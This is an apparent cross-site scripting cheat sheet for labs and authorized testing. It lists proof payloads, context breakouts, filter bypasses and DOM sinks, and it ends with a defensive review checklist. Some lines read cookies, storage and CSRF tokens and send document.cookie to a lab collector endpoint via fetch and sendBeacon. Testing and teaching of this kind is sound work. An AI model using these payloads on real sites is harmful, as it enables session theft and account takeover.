Use this as a quick reference while testing XSS in labs and authorized assessments.
Markers
ootw-xss-test
"><ootw>
'</ootw>
{{7*7}}
The goal is to find where input lands before choosing a payload.
Basic Proof Payloads
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
HTML-only proof:
<h1>ootw</h1>
Page modification proof:
<script>document.body.innerHTML='ootw-xss-proof'</script>
Context Breakouts
HTML text:
<img src=x onerror=alert(1)>
Double-quoted attribute:
" autofocus onfocus=alert(1) x="
Single-quoted attribute:
' autofocus onfocus=alert(1) x='
JavaScript double-quoted string:
";alert(1);//
JavaScript single-quoted string:
';alert(1);//
URL attribute:
javascript:alert(1)
Event Handlers
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
DOM XSS Sinks
Look for attacker-controlled data reaching:
innerHTML
outerHTML
insertAdjacentHTML
document.write
eval
new Function
setTimeout
setInterval
location
Safer alternatives:
textContent
innerText
setAttribute with strict allowlists
createElement
appendChild
Browser Data Checks
Readable cookies:
document.cookie
Local storage:
Object.entries(localStorage)
Session storage:
Object.entries(sessionStorage)
CSRF token example:
document.querySelector('input[name=csrf]').value
Use these in the lab to prove impact. Real targets require authorization and clear scope.
Same-Origin Requests
GET request:
fetch('/profile')
POST request:
fetch('/settings/email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=operator@ootw.local'
})
Local lab collector:
fetch('/xss/collect', {
method: 'POST',
headers: {'Content-Type': 'text/plain'},
body: document.cookie
})
Beacon alternative:
navigator.sendBeacon('/xss/collect', document.cookie)
Encoding
URL encoding:
< -> %3C
> -> %3E
" -> %22
' -> %27
/ -> %2F
HTML entities:
< -> <
> -> >
" -> "
' -> '
& -> &
JavaScript escapes:
< -> \x3c
> -> \x3e
" -> \x22
' -> \x27
Filter Bypass Ideas
Case changes:
<ScRiPt>alert(1)</ScRiPt>
Alternative functions:
confirm(1)
prompt(1)
print()
No spaces:
<svg/onload=alert(1)>
Event handler instead of script tag:
<img src=x onerror=alert(1)>
Encoded keyword:
<script>\u0061lert(1)</script>
Bypasses are context-specific. If the context changes, the payload changes.
CSP Quick Checks
Check for a CSP header:
curl -I "http://127.0.0.1:5000/" | grep -i content-security-policy
Common weak CSP signs:
unsafe-inline
unsafe-eval
wildcard script-src
missing object-src
missing base-uri
CSP reduces impact. It does not replace output encoding.
Defensive Review
Confirm:
- Output is encoded for the exact context.
- Templates escape by default.
- Rich HTML uses an allowlist sanitizer.
- User input is not passed to
innerHTML. - Cookies use
HttpOnly,Secure, andSameSite. - CSP blocks inline scripts and unexpected script sources.
- Admin panels encode user-submitted data.
- Logs capture suspicious tags, event handlers, and script URLs.